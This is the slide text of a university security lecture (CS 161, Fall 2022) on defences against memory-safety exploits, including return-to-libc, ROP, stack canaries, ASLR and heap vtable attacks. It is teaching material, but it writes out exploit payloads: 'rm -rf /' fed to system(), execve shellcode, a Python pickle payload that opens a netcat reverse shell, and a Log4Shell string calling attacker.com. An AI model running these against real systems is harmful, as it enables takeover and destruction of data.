Mitigating Memory Safety Vulnerabilities
CS 161 Fall 2022 - Lecture 4
Computer Science 161
Fall 2022
Announcements
Computer Science 161
Fall 2022
Next: Memory Safety Mitigations
3
Computer Science 161
Fall 2022
Today: Defending Against Memory Safety Vulnerabilities
4
Computer Science 161
Fall 2022
Today: Defending Against Memory Safety Vulnerabilities
5
Computer Science 161
Fall 2022
Using Memory-Safe Languages
6
Textbook Chapter 4.1
Computer Science 161
Fall 2022
Today: Defending Against Memory Safety Vulnerabilities
7
Computer Science 161
Fall 2022
Memory-Safe Languages
8
Computer Science 161
Fall 2022
Why Use Non-Memory-Safe Languages?
9
Computer Science 161
Fall 2022
The Cited Reason: The Myth of Performance
10
Computer Science 161
Fall 2022
The Cited Reason: The Myth of Performance
11
Computer Science 161
Fall 2022
The Real Reason: Legacy
12
Computer Science 161
Fall 2022
Example of Legacy Code: iPhones
13
Computer Science 161
Fall 2022
Writing Memory-Safe Code
14
Textbook Chapter 4.2
Computer Science 161
Fall 2022
Today: Defending Against Memory Safety Vulnerabilities
15
Computer Science 161
Fall 2022
Writing Memory-Safe Code
16
Computer Science 161
Fall 2022
Writing Memory-Safe Code
17
Computer Science 161
Fall 2022
Building Secure Software
18
Textbook Chapter 4.3
Computer Science 161
Fall 2022
Today: Defending Against Memory Safety Vulnerabilities
19
Computer Science 161
Fall 2022
Approaches for Building Secure Software/Systems
20
Computer Science 161
Fall 2022
Approaches for Building Secure Software/Systems
21
Computer Science 161
Fall 2022
Testing for Software Security Issues
22
Computer Science 161
Fall 2022
Working Towards Secure Systems
23
Computer Science 161
Fall 2022
Exploit Mitigations
24
Textbook Chapter 4.4
Computer Science 161
Fall 2022
Today: Defending Against Memory Safety Vulnerabilities
25
Computer Science 161
Fall 2022
Exploit Mitigations
26
Computer Science 161
Fall 2022
Recall: Putting Together an Attack
27
Computer Science 161
Fall 2022
Recall: Putting Together an Attack
We can defend against memory safety vulnerabilities by making each of these steps more difficult (or impossible)!
28
Computer Science 161
Fall 2022
Mitigation: Non-Executable Pages
29
Textbook Chapter 4.5 & 4.6 & 4.7
Computer Science 161
Fall 2022
Recall: Putting Together an Attack
We can defend against memory safety vulnerabilities by making each of these steps more difficult (or impossible)!
30
Computer Science 161
Fall 2022
Non-Executable Pages
31
Computer Science 161
Fall 2022
Subverting Non-Executable Pages
32
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
33
char cmd[] = "rm -rf /";
system(cmd);
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
34
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of main | |||
SFP of main | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
&name (arg to gets) |
Exploit:
'A' * 24� + [address of system]
+ 'B' * 4
+ [address of "rm -rf /"]
+ "rm -rf /"
system:
...
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
int system(char *command);
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
35
ESP
... | ... | ... | ... |
... | ... | ... | ... |
'\0' | ... | ... | ... |
'r' | 'f' | ' ' | '/' |
'r' | 'm' | ' ' | '-' |
[address of "rm -rf /"] | |||
'B' | 'B' | 'B' | 'B' |
[address of system] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
Exploit:
'A' * 24� + [address of system]
+ 'B' * 4
+ [address of "rm -rf /"]
+ "rm -rf /"
system:
...
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
int system(char *command);
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
36
ESP
... | ... | ... | ... |
... | ... | ... | ... |
'\0' | ... | ... | ... |
'r' | 'f' | ' ' | '/' |
'r' | 'm' | ' ' | '-' |
[address of "rm -rf /"] | |||
'B' | 'B' | 'B' | 'B' |
[address of system] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
system:
...
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
int system(char *command);
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
37
system:
...
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
ESP
... | ... | ... | ... |
... | ... | ... | ... |
'\0' | ... | ... | ... |
'r' | 'f' | ' ' | '/' |
'r' | 'm' | ' ' | '-' |
[address of "rm -rf /"] | |||
'B' | 'B' | 'B' | 'B' |
[address of system] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
EIP
EBP
int system(char *command);
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
38
system:
...
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
ESP
... | ... | ... | ... |
... | ... | ... | ... |
'\0' | ... | ... | ... |
'r' | 'f' | ' ' | '/' |
'r' | 'm' | ' ' | '-' |
[address of "rm -rf /"] | |||
'B' | 'B' | 'B' | 'B' |
[address of system] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
EIP
EBP
int system(char *command);
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: Return-to-libc
39
system:
...
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
ESP
... | ... | ... | ... |
... | ... | ... | ... |
'\0' | ... | ... | ... |
'r' | 'f' | ' ' | '/' |
'r' | 'm' | ' ' | '-' |
[address of "rm -rf /"] | |||
'B' | 'B' | 'B' | 'B' |
[address of system] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
EIP
EBP
We jumped into the system function, and it expects the first argument to be 4 bytes above the ESP: "rm -rf /"!
int system(char *command);
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
40
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
Example: Let’s say our shellcode involves the following sequence:
movl $1, %eax�xorl %eax, %ebx
The following is present in memory:
foo:� ...�<foo+7> addl $4, %esp�<foo+10> xorl %eax, %ebx�<foo+12> ret��bar:� ...�<bar+22> andl $1, %edx�<bar+25> movl $1, %eax�<bar+30> ret
How can we chain returns to run the code sequence we want?
41
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of main | |||
SFP of main | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
&name (arg to gets) |
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
Example: Let’s say our shellcode involves the following sequence:
movl $1, %eax�xorl %eax, %ebx
The following is present in memory:
foo:� ...�<foo+7> addl $4, %esp�<foo+10> xorl %eax, %ebx�<foo+12> ret��bar:� ...�<bar+22> andl $1, %edx�<bar+25> movl $1, %eax�<bar+30> ret
How can we chain returns to run the code sequence we want?
42
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of main | |||
SFP of main | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
&name (arg to gets) |
If we jump 25 bytes after the start of bar then 10 bytes after the start of foo, we get the result we want!
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
43
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of main | |||
SFP of main | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
&name (arg to gets) |
Exploit:
'A' * 24� + [address of <bar+25>]
+ [address of <foo+10>]
+ ... (more chains)
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
44
ESP
Exploit:
'A' * 24� + [address of <bar+25>]
+ [address of <foo+10>]
+ ... (more chains)
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
45
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
ESP
EBP
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
46
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
ESP
EBP
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
47
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
EBP
ESP
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
48
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
EBP
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
ESP
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
49
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
EBP
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
ESP
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
50
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
ESP
EBP
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
51
foo:
addl $4, %esp
xorl %eax, %ebx
ret
bar:
...
andl $1, %edx
movl $1, %eax
ret
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
ESP
EBP
The ret instruction always pops off the bottom of the stack, so execution continues based on the chain of addresses!
... | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of ........] | |||
[address of <foo+10>] | |||
[address of <bar+25>] | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
&name (arg to gets) |
Computer Science 161
Fall 2022
Subverting Non-Executable Pages: ROP
52
Computer Science 161
Fall 2022
Mitigation: Stack Canaries
53
Textbook Chapter 4.8 & 4.9
Computer Science 161
Fall 2022
Recall: Putting Together an Attack
We can defend against memory safety vulnerabilities by making each of these steps more difficult (or impossible)!
54
Computer Science 161
Fall 2022
Analogy: Canary in a Coal Mine
55
Computer Science 161
Fall 2022
Stack Canaries
56
Computer Science 161
Fall 2022
Stack Canaries: Properties
57
Computer Science 161
Fall 2022
Stack Canaries
58
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
🐦🐦🐦 canary 🐦🐦🐦 | |||
name | |||
name | |||
name | |||
name | |||
name |
vulnerable:
pushl %ebp
movl %esp, %ebp
subl $24, %esp
movl ($CANARY_ADDR), %eax # Load canary
movl %eax, -4(%ebp) # Save on stack
...
movl -4(%ebp), %eax # Load stack value
cmpl %eax, ($CANARY_ADDR) # Compare to canary and...
jne canary_failed # ... crash if not equal
movl %ebp, %esp
popl %ebp
ret
void vulnerable(void) {
char name[20];
gets(name);
}
Because the write starts at name, the attacker has to overwrite the canary before the RIP or SFP!
Note: 20 bytes for name + 4 bytes for canary (32-bit architecture)
Computer Science 161
Fall 2022
Stack Canaries: Efficiency
59
Computer Science 161
Fall 2022
Subverting Stack Canaries
60
Computer Science 161
Fall 2022
Subverting Stack Canaries: Leaking the Canary
61
Computer Science 161
Fall 2022
Subverting Stack Canaries: Bypassing the Canary
62
Computer Science 161
Fall 2022
Subverting Stack Canaries: Guessing the Canary
63
Computer Science 161
Fall 2022
Subverting Stack Canaries: Guessing the Canary
64
Computer Science 161
Fall 2022
Mitigation: Pointer Authentication
65
Textbook Chapter 4.10
Computer Science 161
Fall 2022
Recall: Putting Together an Attack
We can defend against memory safety vulnerabilities by making each of these steps more difficult (or impossible)!
66
Computer Science 161
Fall 2022
Reminder: 32-Bit and 64-Bit Processors
67
Computer Science 161
Fall 2022
Pointer Authentication
68
Computer Science 161
Fall 2022
Pointer Authentication: Properties of the PAC
69
Computer Science 161
Fall 2022
Subverting Pointer Authentication
70
Computer Science 161
Fall 2022
Defenses Against Pointer Reuse
71
Computer Science 161
Fall 2022
Pointer Authentication on ARM
72
Computer Science 161
Fall 2022
Mitigation: Address Space Layout Randomization (ASLR)
73
Textbook Chapter 4.11 & 4.12
Computer Science 161
Fall 2022
Recall: Putting Together an Attack
We can defend against memory safety vulnerabilities by making each of these steps more difficult (or impossible)!
74
Computer Science 161
Fall 2022
Recall: x86 Memory Layout
75
Higher addresses
Lower addresses
Stack |
|
Heap |
Data |
Code |
Grows upwards
In theory, x86 memory layout looks like this...
Grows downwards
Computer Science 161
Fall 2022
Recall: x86 Memory Layout
76
Higher addresses
Lower addresses
Stack |
|
Heap |
Data |
Code |
Grows downwards
Grows upwards
In theory, x86 memory layout looks like this...
Higher addresses
Lower addresses
Unused |
Stack |
Unused |
Heap |
Unused |
Data |
Unused |
Code |
Unused |
...but in practice, it usually looks like this (mostly empty)!
Computer Science 161
Fall 2022
Recall: x86 Memory Layout
77
Higher addresses
Lower addresses
|
Stack |
|
Heap |
|
Data |
|
Code |
|
Idea: Put each segment of memory in a different location each time the program is run
|
Heap |
|
Data |
|
Code |
|
Stack |
|
Computer Science 161
Fall 2022
Address Space Layout Randomization
78
Computer Science 161
Fall 2022
ASLR: Efficiency
79
Computer Science 161
Fall 2022
Subverting ASLR
80
Computer Science 161
Fall 2022
Relative Addresses
81
void vulnerable(char *dest) {
// Format string vulnerability
printf(dest);
}
int main(void) {
int secret = 42;� char buf[20];
fgets(buf, 20, stdin);
vulnerable(buf);
}
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of main | |||
SFP of main | |||
secret = 42 | |||
buf | |||
buf | |||
buf | |||
buf | |||
buf | |||
dest (arg to vulnerable) | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
format (arg to printf) |
We know that the SFP is a pointer to the stack. How would you print the value of the SFP?
secret is 4 bytes below where the SFP points, so its address is 0xbfff0404!
Input:
'%x'
If the output is bfff0408 what is the address of secret?
Computer Science 161
Fall 2022
Combining Mitigations
82
Textbook Chapter 4.13
Computer Science 161
Fall 2022
Combining Mitigations
83
Computer Science 161
Fall 2022
Combining Mitigations
84
Computer Science 161
Fall 2022
Enabling Mitigations
85
Computer Science 161
Fall 2022
Enabling Mitigations: CISCO
86
Computer Science 161
Fall 2022
Enabling Mitigations: Internet of Things
Takeaway: Many (most?) IoT devices don’t enable basic mitigations
87
Qualys Security Blog | |
CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | |
Animesh Jain | January 26, 2021 |
The Qualys Research Team has discovered a heap overflow vulnerability in sudo, a near-ubiquitous utility available on major Unix-like operating systems. Any unprivileged user can gain root privileges on a vulnerable host using a default sudo configuration by exploiting this vulnerability. |
Computer Science 161
Fall 2022
Summary: Memory Safety Mitigations
88
Computer Science 161
Fall 2022
Summary: Memory Safety Mitigations
89
Computer Science 161
Fall 2022
Summary: Memory Safety Mitigations
90
Computer Science 161
Fall 2022
Heap Vulnerabilities
91
Textbook Chapter 3.6
Computer Science 161
Fall 2022
Targeting Instruction Pointers
92
Computer Science 161
Fall 2022
C++ vtables
93
Computer Science 161
Fall 2022
C++ vtables
94
x is an object of type ClassX.
y is an object of type ClassY.
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Fall 2022
C++ vtables
95
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
To call a method of y, first follow a pointer on the heap to find the vtable…
ClassX vtable
ClassY vtable
… then follow a pointer in the vtable to find the instructions of the method.
Computer Science 161
Fall 2022
C++ vtables
96
Suppose one of the instance variables of x is a buffer we can overflow.
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Fall 2022
C++ vtables
97
The attacker controls everything above the instance variable of x on the heap, including the vtable pointer for y.
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Fall 2022
C++ vtables
98
... |
instance variable of y |
address of vtable of y |
address of SHELLCODE |
SHELLCODE |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
The vtable for y is now a pointer to shellcode. If method foo for y is called, it will execute shellcode!
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Fall 2022
Heap Vulnerabilities
99
Computer Science 161
Fall 2022
Top 25 Most Dangerous Software Weaknesses (2020)
100
Rank | ID | Name | Score |
[1] | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 46.82 | |
[2] | Out-of-bounds Write | 46.17 | |
[3] | Improper Input Validation | 33.47 | |
[4] | Out-of-bounds Read | 26.50 | |
[5] | Improper Restriction of Operations within the Bounds of a Memory Buffer | 23.73 | |
[6] | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 20.69 | |
[7] | Exposure of Sensitive Information to an Unauthorized Actor | 19.16 | |
[8] | Use After Free | 18.87 | |
[9] | Cross-Site Request Forgery (CSRF) | 17.29 | |
[10] | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 16.44 | |
[11] | Integer Overflow or Wraparound | 15.81 | |
[12] | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 13.67 | |
[13] | NULL Pointer Dereference | 8.35 | |
[14] | Improper Authentication | 8.17 | |
[15] | Unrestricted Upload of File with Dangerous Type | 7.38 | |
[16] | Incorrect Permission Assignment for Critical Resource | 6.95 | |
[17] | Improper Control of Generation of Code ('Code Injection') | 6.53 |
Computer Science 161
Fall 2022
Writing Robust Exploits
101
Computer Science 161
Fall 2022
NOP Sleds
102
nop�nop�nop�nop�nop�nop�nop�nop�nop�nop�nop�nop�nop�nop�xor %eax, %eax�push %eax�push $0x68732f2f�push $0x6e69622f�mov %esp, %ebx�mov %eax, %ecx�mov %eax, %edx�mov $0xb, %al�int $0x80
Computer Science 161
Fall 2022
Serialization
103
No textbook chapter (yet!)
Computer Science 161
Fall 2022
Serialization in Java and Python
104
Computer Science 161
Fall 2022
Log4Shell Vulnerability
105
| |
What's the Deal with the Log4Shell Security Nightmare? | |
Nicholas Weaver | December 10, 2021 |
We live in a strange world. What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a 5-alarm security panic as administrators and developers all over the world desperately try to fix and patch systems before the cryptocurrency miners, ransomware attackers and nation-state adversaries rush to exploit thousands of software packages. |
Computer Science 161
Fall 2022
Using Serialization
106
Computer Science 161
Fall 2022
Serialization Vulnerabilities in pickle (Python)
107
Computer Science 161
Fall 2022
A pickle (Python) exploit
import base64, os, pickle��class RCE:� def __reduce__(self):� cmd = \� 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f' \� '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f'� return os.system, (cmd,)��if __name__ == '__main__':� pickled = pickle.dumps(RCE())� print(base64.b64encode(pickled).decode('ascii'))
108
Computer Science 161
Fall 2022
Serialization Vulnerabilities in Java
109
Computer Science 161
Fall 2022
Log4j
110
Computer Science 161
Fall 2022
Log4j and JNDI (Java Naming & Directory Interface)
111
Computer Science 161
Fall 2022
Serialization: Detection and Defenses
112
Computer Science 161
Fall 2022
Summary: Memory Safety Vulnerabilities
113
Computer Science 161
Fall 2022